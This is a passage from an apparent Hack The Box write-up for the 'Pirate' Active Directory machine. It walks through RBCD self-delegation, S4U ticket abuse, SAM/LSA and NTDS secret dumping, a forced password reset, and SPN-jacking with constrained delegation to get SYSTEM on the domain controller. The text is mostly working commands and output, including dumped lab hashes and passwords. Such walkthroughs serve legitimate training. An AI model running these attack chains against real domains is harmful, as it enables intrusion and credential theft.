[*] Trying to retrieve NT hash for 'web01$' [*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9
Account WEB01$ compromised.
2.3.7 Get WEB01$
Unfortunately, WEB01$ does not own WinRM access:
$ ./ft.sh pirate.htb \ nxc smb WEB01.pirate.htb -u 'WEB01$' -k --use-kcache [*] Querying offset from: pirate.htb [*] faketime -f format: +25200.665858 25200.665858s [*] Running: nxc smb WEB01.pirate.htb -u WEB01$ -k --use-kcache SMB WEB01.pirate.htb 445 WEB01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:None) SMB WEB01.pirate.htb 445 WEB01 [+] PIRATE.HTB\WEB01$ from ccache $ ./ft.sh pirate.htb \ nxc winrm WEB01.pirate.htb -u 'WEB01$' -k --use-kcache [*] Querying offset from: pirate.htb [*] faketime -f format: +25200.666559 25200.666559s [*] Running: nxc winrm WEB01.pirate.htb -u WEB01$ -k --use-kcache WINRM WEB01.pirate.htb 5985 WEB01 [*] Windows 10 / Server 2019 Build 17763 (name:WEB01) (domain:pirate.htb)
From the gMSA_ADFS_prod$ remote shell in WEB01 machine, we see our target could be the local Administrator:
$ evil-winrm -i WEB01.pirate.htb -u 'gMSA_ADFS_prod$' -H 8126756fb2e69697bfcb04816e685839 *Evil-WinRM* PS C:\Users\gMSA_ADFS_prod$.PIRATE\Documents> ls c:\users Directory: C:\users Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/15/2026 7:37 PM a.white d----- 6/9/2025 10:11 AM Administrator d----- 6/9/2025 6:55 AM Administrator.PIRATE d----- 6/9/2025 7:31 AM gMSA_ADFS_prod$ d----- 1/15/2026 6:40 PM gMSA_ADFS_prod$.PIRATE d-r--- 6/8/2025 1:29 PM Public
With such a machine account, it's easy to privesc via RBCD.
2.4 RBCD
I won't re-explain RBCD in depth here. For background, search the tag on Hacktag:

2.4.1 Set RBCD
Using the compromised WEB01$ computer account (via NTLM relay → LDAP shell), we modified an attribute on the WEB01 computer object. The key attribute for Resource-Based Constrained Delegation (RBCD) is
msDS-AllowedToActOnBehalfOfOtherIdentityThis attribute resides on the target resource (here, WEB01$) and stores a security descriptor listing which principals may act on its behalf (i.e., perform S4U2Proxy).
From the LDAP shell:
╰─$ nc 127.0.0.1 11000 Type help for list of commands # help [...snip...] set_rbcd target grantee - Grant the grantee (sAMAccountName) the ability to perform RBCD to the target (sAMAccountName). [...snip...] # set_rbcd WEB01$ WEB01$ Found Target DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb Target SID: S-1-5-21-4107424128-4158083573-1300325248-3102 Found Grantee DN: CN=WEB01,CN=Computers,DC=pirate,DC=htb Grantee SID: S-1-5-21-4107424128-4158083573-1300325248-3102 Delegation rights modified successfully! WEB01$ can now impersonate users on WEB01$ via S4U2Proxy
Meaning:
- Target =
WEB01$(the resource desired to access) - Grantee =
WEB01$(the principal allowed to impersonate users to that resource)
Effectively, WEB01 now trusts itself for delegation. This allows WEB01$ to request S4U2Proxy tickets to services on WEB01 while impersonating arbitrary users.
2.4.2 S4U2Self + S4U2Proxy
NetExec automates the Kerberos delegation process using the --delegate flag. Internally, this performs:
S4U2Self → S4U2Proxy → service ticket for cifs/WEB01 as AdministratorThe --self flag requests a ticket usable against the same host (WEB01).
Using the compromised WEB01$ machine account:
# make sure using WEB01 TGT
export KRB5CCNAME=web01.ccache
./ft.sh pirate.htb \
nxc smb WEB01.pirate.htb \
-u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 \
--delegate Administrator --selfResult:
$ ./ft.sh pirate.htb \ nxc smb WEB01.pirate.htb \ -u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 \ --delegate Administrator --self [*] Querying offset from: pirate.htb [*] faketime -f format: +25200.657206 25200.657206s [*] Running: nxc smb WEB01.pirate.htb -u WEB01$ -H feba09cf0013fbf5834f50def734bca9 --delegate Administrator --self SMB WEB01.pirate.htb 445 WEB01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:None) SMB WEB01.pirate.htb 445 WEB01 [-] Error checking if user is admin on WEB01.pirate.htb: The NETBIOS connection with the remote host timed out. SMB WEB01.pirate.htb 445 WEB01 [+] pirate.htb\Administrator through S4U with WEB01$
The SMB session is now authenticated as Domain Administrator via delegated Kerberos credentials obtained through RBCD.
2.4.3 Get WEB01 ADMINISTRATOR
NetExec can then extract local credentials:
# Authenticate as Administrator via delegation
./ft.sh pirate.htb \
nxc smb WEB01.pirate.htb \
-u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 \
--delegate Administrator
# Dump SAM and LSA secrets
./ft.sh pirate.htb \
nxc smb WEB01.pirate.htb \
-u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 \
--delegate Administrator \
--lsa --samPwned:
$ ./ft.sh pirate.htb \ nxc smb WEB01.pirate.htb \ -u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 -k \ --delegate Administrator [*] Querying offset from: pirate.htb [*] faketime -f format: +25200.669994 25200.669994s [*] Running: nxc smb WEB01.pirate.htb -u WEB01$ -H feba09cf0013fbf5834f50def734bca9 -k --delegate Administrator SMB WEB01.pirate.htb 445 WEB01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:None) SMB WEB01.pirate.htb 445 WEB01 [+] pirate.htb\Administrator through S4U with WEB01$ (Pwn3d!) $ ./ft.sh pirate.htb \ nxc smb WEB01.pirate.htb \ -u 'WEB01$' -H feba09cf0013fbf5834f50def734bca9 -k \ --delegate Administrator \ --lsa --sam [*] Querying offset from: pirate.htb [*] faketime -f format: +25200.448195 25200.448195s [*] Running: nxc smb WEB01.pirate.htb -u WEB01$ -H feba09cf0013fbf5834f50def734bca9 -k --delegate Administrator --lsa --sam SMB WEB01.pirate.htb 445 WEB01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:WEB01) (domain:pirate.htb) (signing:False) (SMBv1:None) SMB WEB01.pirate.htb 445 WEB01 [+] pirate.htb\Administrator through S4U with WEB01$ (Pwn3d!) SMB WEB01.pirate.htb 445 WEB01 [*] Dumping SAM hashes SMB WEB01.pirate.htb 445 WEB01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5::: SMB WEB01.pirate.htb 445 WEB01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB WEB01.pirate.htb 445 WEB01 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB WEB01.pirate.htb 445 WEB01 WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:60da2d3ba00d6b5932e4c87dce6fa6b4::: SMB WEB01.pirate.htb 445 WEB01 [+] Added 4 SAM hashes to the database SMB WEB01.pirate.htb 445 WEB01 [*] Dumping LSA secrets SMB WEB01.pirate.htb 445 WEB01 PIRATE.HTB/Administrator:$DCC2$10240#Administrator#8baf09ddc5830ac4456ee8639dd89644: (2026-02-25 02:41:09) SMB WEB01.pirate.htb 445 WEB01 PIRATE.HTB/gMSA_ADFS_prod$:$DCC2$10240#gMSA_ADFS_prod$#66812dfee46ff41c9c8245a2819c3183: (2026-03-01 15:15:06) SMB WEB01.pirate.htb 445 WEB01 PIRATE.HTB/a.white:$DCC2$10240#a.white#366c8924be3ea6d1d12825569a4bcc39: (2026-03-01 15:13:03) SMB WEB01.pirate.htb 445 WEB01 PIRATE\WEB01$:aes256-cts-hmac-sha1-96:57b48ef53425adf16b2409ea4d980de1007c9f61b126bdc1c05d3d830c727526 SMB WEB01.pirate.htb 445 WEB01 PIRATE\WEB01$:aes128-cts-hmac-sha1-96:b6b018d4edd476f0999d6f666844cf77 SMB WEB01.pirate.htb 445 WEB01 PIRATE\WEB01$:des-cbc-md5:efdf97b9a1e06243 SMB WEB01.pirate.htb 445 WEB01 PIRATE\WEB01$:plain_password_hex:29f1505d87014b01b4317fed1d52ddbee2792a698e7e1de1bcdf29ab5d4b8e54828ce470d23491ba84e82d786622a821a14c730cf8610a32db1951b7619ee08c3bcacbab53aac8e052bd64e638c6bbd9529daacf04f86cfb9034808 c4378d2c328c8c6afe7655f4a099dc41caeb6279c53313edcbd58db3e14490b7543ba3250ac200ec9834992b61b3f4319162645b50f402de4db0843fc43db7d54e04828abf86e490959bc88670e50f0b50373a3745f70039f8fd032435c4a725526957c7ae0dbaa81273b3aa28c0b029fea90c271b6601ef3ba7a05a13ec8c8ffd9999dd10eee 87b4b9eb08a8a4af90710056f558 SMB WEB01.pirate.htb 445 WEB01 PIRATE\WEB01$:aad3b435b51404eeaad3b435b51404ee:feba09cf0013fbf5834f50def734bca9::: SMB WEB01.pirate.htb 445 WEB01 PIRATE\a.white:E2nvAOKSz5Xz2MJu SMB WEB01.pirate.htb 445 WEB01 dpapi_machinekey:0x01cffc2ef9a91d20107371f9a4a4112c892ed989 dpapi_userkey:0xa4fddb1b2df2db7cc3d044dc1b559bc1b45a1de9 SMB WEB01.pirate.htb 445 WEB01 _SC_GMSA_DPAPI_{C6810348-4834-4a1e-817D-5838604E6004}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11:e3ef474b98138dd4469f6dc176f879ba1e0817ba44502187b9080b9f3334c91b9b1af1ce4e91fb562c8d8824412c700e0 0d105bc674d8e26a594e3da4173f2c87313d634b39c3412d4bfb6849247686df6065b536566807e0ace92f94ea3166bb9752d12d352c89b9fdafa7d3171e4dd55be9d585504f8c628a0ff4c670d7595a909a3c9a7ec2dff984e5ddf77049a91a5597f0a39c5499455675901cce41aded98d80a1b5f7f82cc220b590df4bfc0bfc5f0feb66e73a 56f1ab7fe914c6d7cd2b83e0b9065b76e02bc330f7694416f3acd6c463df84923500b64a1014e74413809a7a06af577ce7685bfd2ab56a2067 SMB WEB01.pirate.htb 445 WEB01 _SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11:01000000220100001000000012011a01b6c4083911a28350b1fd6948803650e1b1c5741f7719b1f4ff926203dcdf4ec9c0369b7 b92fe10a2d7ff953bfa406a3b6786523ed82767cc8fe2734af892e98efbef2b3476759032b4ecdef34276c363b8a9410b63d809ea6ef167f5b541d73c3ac4214da22a14d97982c928d91bb971fe99d4809c1ebdeae8e769c6b3377ee1a478dffbb2ddc13318be131167d1a4a01833a4c27e0512690d73de1e59a01761ec7d40fc1882050cbf43 9d9cbb281a06d4bf8d85d1feb2740ec399eca0e46e36990b72b2c4a64ae009bafb3dfd264ff734b63fb922609e8c305883a75d9aef75ce37bca0910436590d9312fca46ad89a61a89bddc873197de48eab3d69b9e49800001941b01b7317000019e3df6872170000 SMB WEB01.pirate.htb 445 WEB01 GMSA ID: a09ca32bc7cd2ce752ae0143bd203f0551564c04dd2846c4ed3e4e5a61cc9f11 NTLM: 841fae962662f0c2f0178d01d178ec3e SMB WEB01.pirate.htb 445 WEB01 [+] Dumped 12 LSA secrets to /home/Axura/.nxc/logs/lsa/WEB01_WEB01.pirate.htb_2026-03-01_113100.secrets and /home/Axura/.nxc/logs/lsa/WEB01_WEB01.pirate.htb_2026-03-01_113100.cached
2.4.4 Get WEB01 Administrator
Use the extracted Administrator NT hash for WinRM access:
$ evil-winrm -i WEB01.pirate.htb -u 'administrator' -H b1aac1584c2ea8ed0a9429684e4fc3e5 *Evil-WinRM* PS C:\Users\Administrator\Documents> ls c:\users\a.white\desktop Directory: C:\users\a.white\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/1/2026 7:13 AM 34 user.txt *Evil-WinRM* PS C:\Users\Administrator\Documents> type c:\users\a.white\desktop\user.txt 2*********************************c
Suprisingly, the user flag is not under the Administrator profile but in a.white's directory.
3 ROOT
3.1 Password Rest
3.1.1 Get A.WHITE
From previous secret dumps, we discover the plain-text password for user a.white:
E2nvAOKSz5Xz2MJuRecall the exploit path found earlier by BloodHound:

It's pure AD ACL abuse:
User → Password Reset → Group Control → Privileged Group → DC Attribute Write3.1.2 ForceChangePassword
First of all, a.white can reset the password of a.white_adm WITHOUT knowing the old password.
Personally I prefer using bloodyAD to modify Windows objects:
bloodyAD -H DC01.pirate.htb -d pirate.htb \
-u a.white -p E2nvAOKSz5Xz2MJu \
set password \
'a.white_adm' 'AxuraP@ssw0rd'3.2 Enumeration
The a.white_adm seems to be a high-privilege target. So I decided to run BloodHound again to explore more comprehensive exploit paths:
bloodhound-python \
-dc 'dc01.pirate.htb' -d 'pirate.htb' \
-u 'a.white_adm' -p 'AxuraP@ssw0rd' \
-ns $targetIp --zip -c All WriteSPN on DC01:

This is game over.
3.3 WriteSPN
To understand writeSPN, just search Hacktag:

But we obviously won't use previously introduced methods (like using targetedkerberoasting) to obtain account hashes, because the DC01$ password is likely uncrackable.
Some tricky ideas needed to proceed.
3.4 KCD
Reference: thehacker.recipes
3.4.1 Find Delegations
NetExec can enumerate delegation misconfigurations:
nxc ldap DC01.pirate.htb \
-u 'a.white_adm' -p 'AxuraP@ssw0rd' \
--find-delegationResult:
$ nxc ldap DC01.pirate.htb -u 'a.white_adm' -p 'AxuraP@ssw0rd' --find-delegation LDAP 10.129.1.12 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never) LDAP 10.129.1.12 389 DC01 [+] pirate.htb\a.white_adm:AxuraP@ssw0rd LDAP 10.129.1.12 389 DC01 AccountName AccountType DelegationType DelegationRightsTo LDAP 10.129.1.12 389 DC01 ----------- ----------- ---------------------------------- --------------------------------------- LDAP 10.129.1.12 389 DC01 a.white_adm Person Constrained w/ Protocol Transition http/WEB01.pirate.htb, HTTP/WEB01 LDAP 10.129.1.12 389 DC01 WEB01$ Computer Resource-Based Constrained WEB01$
This shows classic constrained delegation with protocol transition.
In practice, a.white_adm can impersonate any user:
- To the HTTP service on WEB01
- Without knowing that user's password
Any user — including administrators.
3.4.2 Constrained Delegation WITH Protocol Transition
Kerberos constrained delegation comes in two forms:
- Kerberos-only constrained delegation → Service can impersonate users only if they authenticated via Kerberos
- Constrained delegation WITH protocol transition → Service can impersonate users even if they authenticated via:
- NTLM
- Basic auth
- Forms auth
- No Kerberos at all
We have the second — the dangerous one.
Kerberos identifies services via SPNs:
HTTP/WEB01.pirate.htbThis covers:
- IIS / web services on WEB01
- WinRM over HTTP
- ADFS
- Other HTTP-based services
Port 80 is open on this host (see section 1.3.4), confirming a viable target.
Protocol transition is powerful: without it, we would need a victim's Kerberos TGT. With it, we can impersonate any user directly — no credentials required.
3.4.3 SPN Hijacking + KCD
Exploit path:
a.white_adm
↓ (Constrained delegation + protocol transition)
HTTP/WEB01 or HTTP/WEB01.pirate.htb
↓
Abuse service privileges
↓
Escalate to DCThis is a classic SPN-jacking + KCD abuse path.
3.4.3.1 SPN Migration
Now HTTP service exists ONLY in WEB01$, not in our target DC01$. Inspect using bloodyAD:
$ # WEB01$ owns HTTP bloodyAD -H DC01.pirate.htb -d pirate.htb \ -u a.white_adm -p 'AxuraP@ssw0rd' \ get object \ 'WEB01$' --attr servicePrincipalName \ | grep HTTP servicePrincipalName: tapinego/WEB01; tapinego/WEB01.pirate.htb; WSMAN/WEB01; WSMAN/WEB01.pirate.htb; HOST/WEB01.pirate.htb; RestrictedKrbHost/WEB01.pirate.htb; HOST/WEB01; RestrictedKrbHo st/WEB01; TERMSRV/WEB01.pirate.htb; TERMSRV/WEB01; HTTP/WEB01; HTTP/WEB01.pirate.htb $ # DC01$ has no HTTP bloodyAD -H DC01.pirate.htb -d pirate.htb \ -u a.white_adm -p 'AxuraP@ssw0rd' \ get object \ 'DC01$' --attr servicePrincipalName \ | grep HTTP
The SPN must be unique across AD, so we need to move it from WEB01$ to DC01$.
Remove SPN from original owner (WEB01$):
bloodyAD -H DC01.pirate.htb -d pirate.htb \
-u a.white_adm -p 'AxuraP@ssw0rd' \
msldap delspn \
"CN=WEB01,CN=Computers,DC=pirate,DC=htb" \
"HTTP/WEB01.pirate.htb"Add SPN to target host (DC01$):
bloodyAD -H DC01.pirate.htb -d pirate.htb \
-u a.white_adm -p 'AxuraP@ssw0rd' \
msldap addspn \
"CN=DC01,OU=Domain Controllers,DC=pirate,DC=htb" \
"HTTP/WEB01.pirate.htb"3.4.3.2 Verify SPN Relocation
Confirm SPN now belongs to DC01$, and removed from WEB01$:
$ # Now WEB01$ losed HTTP bloodyAD -H DC01.pirate.htb -d pirate.htb \ -u a.white_adm -p 'AxuraP@ssw0rd' \ get object \ 'WEB01$' --attr servicePrincipalName \ | grep HTTP servicePrincipalName: tapinego/WEB01; tapinego/WEB01.pirate.htb; WSMAN/WEB01; WSMAN/WEB01.pirate.htb; HOST/WEB01.pirate.htb; RestrictedKrbHost/WEB01.pirate.htb; HOST/WEB01; RestrictedKrbHo st/WEB01; TERMSRV/WEB01.pirate.htb; TERMSRV/WEB01; HTTP/WEB01 $ # DC01$ gains HTTP bloodyAD -H DC01.pirate.htb -d pirate.htb \ -u a.white_adm -p 'AxuraP@ssw0rd' \ get object \ 'DC01$' --attr servicePrincipalName \ | grep HTTP servicePrincipalName: HTTP/WEB01.pirate.htb; Hyper-V Replica Service/DC01; Hyper-V Replica Service/DC01.pirate.htb; Microsoft Virtual System Migration Service/DC01; Microsoft Virtual Syste m Migration Service/DC01.pirate.htb; Microsoft Virtual Console Service/DC01; Microsoft Virtual Console Service/DC01.pirate.htb; Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC01.pirate.htb; l dap/DC01.pirate.htb/ForestDnsZones.pirate.htb; ldap/DC01.pirate.htb/DomainDnsZones.pirate.htb; DNS/DC01.pirate.htb; GC/DC01.pirate.htb/pirate.htb; RestrictedKrbHost/DC01.pirate.htb; Restri ctedKrbHost/DC01; RPC/21c2943d-6163-4df9-aff7-3d164aa2cfbb._msdcs.pirate.htb; HOST/DC01/PIRATE; HOST/DC01.pirate.htb/PIRATE; HOST/DC01; HOST/DC01.pirate.htb; HOST/DC01.pirate.htb/pirate.ht b; E3514235-4B06-11D1-AB04-00C04FC2DCD2/21c2943d-6163-4df9-aff7-3d164aa2cfbb/pirate.htb; ldap/DC01/PIRATE; ldap/21c2943d-6163-4df9-aff7-3d164aa2cfbb._msdcs.pirate.htb; ldap/DC01.pirate.htb /PIRATE; ldap/DC01; ldap/DC01.pirate.htb; ldap/DC01.pirate.htb/pirate.htb
Migrating
HTTP/WEB01.pirate.htbis enought for we will just exploit this SPN in the following steps.
But a.white_adm is still allowed to delegate to that SPN – she does not care who it belongs to.
3.4.3.3 KDC Abuse
Now the KDC believes:
HTTP/WEB01.pirate.htb → DC01$Kerberos Flow:
a.white_adm
│
├─ S4U2Self → impersonate Administrator
│
└─ S4U2Proxy → request ticket for HTTP/WEB01.pirate.htb
↓
Encrypted for DC01$Use Impacket to generate Administrator TGS for DC01:
./ft.sh pirate.htb \
getST.py PIRATE.HTB/a.white_adm:'AxuraP@ssw0rd' \
-spn HTTP/WEB01.pirate.htb \
-impersonate Administrator \
-dc-ip DC01.pirate.htb \
-altservice CIFS/DC01.pirate.htbWe request the allowed SPN (
HTTP/WEB01) but rewrite the ticket for:SPNCIFS/DC01Since the ticket is encrypted with DC01$'s key, it is valid for DC01 services.
As a result, we obtain a Kerberos service ticket (Administrator → CIFS/DC01):
# ./ft.sh pirate.htb \ getST.py PIRATE.HTB/a.white_adm:'AxuraP@ssw0rd' \ -spn HTTP/WEB01.pirate.htb \ -impersonate Administrator \ -dc-ip DC01.pirate.htb \ -altservice CIFS/DC01.pirate.htb [*] Querying offset from: pirate.htb [*] faketime -f format: +25153.605546 25153.605546s [*] Running: getST.py PIRATE.HTB/a.white_adm:AxuraP@ssw0rd -spn HTTP/WEB01.pirate.htb -impersonate Administrator -dc-ip DC01.pirate.htb -altservice CIFS/DC01.pirate.htb Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [-] CCache file is not found. Skipping... [*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Changing service from HTTP/[email protected] to CIFS/[email protected] [*] Saving ticket in Administrator@[email protected]
Now this is a valid Administrator TGS for DC01.
3.4.4 Get DC01 ADMINISTRATOR
Use the service ticket for psexec or wmiexec:
# export KRB5CCNAME=Administrator@[email protected] # ./ft.sh pirate.htb \ psexec.py -k -no-pass DC01.pirate.htb [*] Querying offset from: pirate.htb [*] faketime -f format: +25200.883669 25200.883669s [*] Running: psexec.py -k -no-pass DC01.pirate.htb Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Requesting shares on DC01.pirate.htb..... [*] Found writable share ADMIN$ [*] Uploading file LGblabiJ.exe [*] Opening SVCManager on DC01.pirate.htb..... [*] Creating service Xsus on DC01.pirate.htb..... [*] Starting service Xsus..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.8385] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami nt authority\system C:\Windows\system32> type c:\users\administrator\desktop\root.txt e*************************8
Or dump secrets:
# ./ft.sh pirate.htb \ secretsdump.py -k -no-pass \ -just-dc-user administrator \ PIRATE.HTB/[email protected] [*] Querying offset from: pirate.htb [*] faketime -f format: +25153.965550 25153.965550s [*] Running: secretsdump.py -k -no-pass -just-dc-user administrator PIRATE.HTB/[email protected] Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:598295e78bd72d66f837997baf715171::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:9918bbcfaaad184f895a36edb7aab5bff972912dcf436cf490fc6618cf7bfb56 Administrator:aes128-cts-hmac-sha1-96:7ab7e5b8e8c440068cb254a33a49973f Administrator:des-cbc-md5:08c1f7b9269bba9d [*] Cleaning up...
Rooted.
Comments | NOTHING